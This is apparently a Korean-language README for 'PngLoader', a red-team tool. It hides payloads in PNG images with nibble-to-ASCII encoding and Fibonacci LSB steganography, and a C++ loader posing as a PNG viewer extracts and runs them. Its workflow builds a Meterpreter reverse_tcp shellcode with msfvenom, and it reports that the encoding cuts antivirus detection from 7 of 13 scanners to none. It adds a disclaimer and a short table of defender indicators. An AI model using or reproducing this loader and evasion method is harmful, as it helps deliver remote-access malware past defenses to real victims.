
니블-투-ASCII 인코딩과 피보나치 LSB 스테가노그래피를 사용하여 PNG 이미지에 임의의 페이로드를 숨기며, 내장된 데이터를 추출하고 실행하는 C++ 로더를 포함합니다.
면책 조항: 이 프로젝트는 교육 및 승인된 보안 연구 전용입니다 — 침투 테스트, CTF 대회, 레드팀 훈련, 학술 연구에 한합니다. 명시적인 서면 승인 없이 시스템에 사용하지 마십시오.
PngLoader는 두 개의 계층을 사용하여 PNG 이미지 안에 임의의 데이터를 숨깁니다:
# 1. Generate raw test data
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<> LPORT=<> -f raw -o payload.bin
# 2. Encode binary → ASCII
python3 0.Scripts/TransformRawToEncode.py payload.bin encoded.txt
# 3. Embed into a cover image
python3 0.Scripts/HideEncodeToPicture.py embed 2.Payloads/clean.png encoded.txt -o stego.png
# 4. Verify extraction works
python3 0.Scripts/HideEncodeToPicture.py extract stego.png --hex
# 5. Check image capacity
python3 0.Scripts/HideEncodeToPicture.py capacity 2.Payloads/clean.png

PngLoader/
├── 0.Scripts/
│ ├── TransformRawToEncode.py # Nibble-to-ASCII encoder/decoder
│ └── HideEncodeToPicture.py # Fibonacci steganography (embed/extract)
├── 1.Loader/
│ ├── loader_png.cpp # PNG viewer + steganography extractor
│ ├── loader.cpp # Alternate loader (inline buffer)
│ ├── Utils.cpp / Utils.h # ASCII → binary decoder
│ ├── VirtualBuffer.h/.cpp # RAII VirtualAlloc wrapper
│ ├── Hearders.h # Shared Windows includes
│ └── Loader_png.vcxproj # Visual Studio project
├── 2.Payloads/
│ └── clean.png # Sample cover image
└── readme.md
각 바이트는 두 개의 4비트 니블로 분할됩니다. 각 니블은 무작위 베이스(48, 64, 96)를 더하여 출력 가능한 ASCII 문자로 매핑됩니다:
Byte 0xFC → high nibble 0xF, low nibble 0xC
High: 48+15=63 '?' | 64+15=79 'O' | 96+15=111 'o'
Low: 48+12=60 '<' | 64+12=76 'L' | 96+12=108 'l'
디코딩은 모듈로-16 속성을 사용합니다. 세 기저 모두 16의 배수입니다:
original_nibble = encoded_char % 16
byte = (char1 % 16) << 4 | (char2 % 16)
무작위 베이스 선택은 동일한 입력이 매번 다른 출력을 생성한다는 것을 의미하지만, 디코딩은 항상 결정적입니다.
| 베이스 | 범위 | 문자 |
|---|---|---|
| 48 | 48–63 | 0123456789:;<=>? |
| 64 | 64–79 | @ABCDEFGHIJKLMNO |
| 96 | 96–111 | `abcdefghijklmno |
페이로드 바이트는 평탄화된 픽셀 배열에서 피보나치 수열(1, 2, 3, 5, 8, 13, 21, …)을 따르는 픽셀 인덱스에 배치됩니다. 이는 수정 사항을 한곳에 모으는 대신 이미지 전체에 분산시킵니다.
비트 패킹 — 각 바이트는 RGB LSB에 걸쳐 3/3/2로 분할됩니다:
R: bits 7–5 (3 LSBs)
G: bits 4–2 (3 LSBs)
B: bits 1–0 (2 LSBs)
래핑 — 피보나치 인덱스가 픽셀 수를 초과하면 모듈로 연산을 통해 래핑됩니다. 충돌은 선형 탐사로 해결됩니다. 0x00 종료자가 데이터의 끝을 표시합니다.
| 이미지 크기 | 픽셀 수 | 순수 용량 |
|---|---|---|
| 640×480 | 307,200 | ~27 바이트 |
| 1920×1080 | 2,073,600 | ~31 바이트 |
| 4000×3000 | 12M | ~35 바이트 |
래핑이 활성화된 경우 최대 용량 = total_pixels − 1입니다.
C++ 로더(loader_png.cpp)는 정상적인 PNG 뷰어 역할을 합니다:
UtilDecryptFileQuoted()(mod-16 역변환)를 통해 ASCII → 바이너리로 디코딩합니다피보나치 수열은 하나의 접근 방식일 뿐입니다. 다른 픽셀 선택 전략은 서로 다른 용량/보안 트레이드오프를 제공합니다:
| 알고리즘 | 순수 용량 (1080p) | 공유 키 | 분포 | 비용 |
|---|---|---|---|---|
| 피보나치 (구현됨) | ~31 바이트 | 아니오 | 지수적 간격 | 최소 |
| 소수 인덱스 | ~150K 바이트 | 아니오 | n·ln(n) 간격 | 보통 |
| LFSR | ~2M 바이트 | 예 (시드) | 의사 난수 | 최소 |
| 키 기반 순열 | ~2M 바이트 | 예 (키) | 암호학적 | 높음 |
| 힐베르트 곡선 | 스트라이드 의존적 | 아니오 | 공간적으로 균일 | 보통 |
| 황금비 (바일) | ~2M 바이트 | 아니오 | 저불일치 | 최소 |
소수 인덱스 — 픽셀 인덱스는 소수(2, 3, 5, 7, 11…)입니다. 소수는 n·ln(n)으로 증가하므로 피보나치보다 훨씬 높은 순수 용량을 제공합니다.
LFSR — 최대 길이 선형 피드백 시프트 레지스터는 의사 난수 순열을 생성합니다. 시드는 공유 비밀로 작동합니다. 전체 주기 동안 충돌이 없습니다.
키 기반 순열 (Fisher-Yates) — CSPRNG 시드로 모든 픽셀 인덱스를 셔플합니다. 키 없이는 위치를 무작위와 구별할 수 없습니다.
힐베르트 곡선 — 스트라이드를 사용하여 공간 채우기 곡선을 따라 픽셀을 순회합니다. 변경 사항을 2D 이미지 영역 전체에 균등하게 분배합니다.
황금비 (바일 수열) — pos(n) = floor(n × φ × total) mod total. 가능한 가장 균일한 1D 분포를 생성합니다. 계산이 간단합니다.
원시 페이로드 — 13개 스캐너 중 7개가 탐지:

인코딩 후 — 13개 스캐너 중 0개가 탐지:

블루팀 / 방어자를 위한 지침:
| 계층 | 지표 |
|---|---|
| 정적 | 임포트: VirtualAllocEx, WriteProcessMemory, SetThreadContext |
| 이미지 | LSB 평면에 대한 카이제곱 스테그분석으로 변조 탐지 |
| 행위 기반 | 일시 중단된 프로세스 생성 + 원격 스레드 주입 (Sysmon EID 1+8) |
| 인코딩 | 세 개의 16자 ASCII 범위에서만 사용된 문자 |
Python:
pip install numpy Pillow
C++ 로더:
1.Loader/Loader_png.vcxproj 열기 → Release x64 빌드교육 및 승인된 보안 연구 목적으로만 사용하십시오. 위의 면책 조항을 참조하십시오.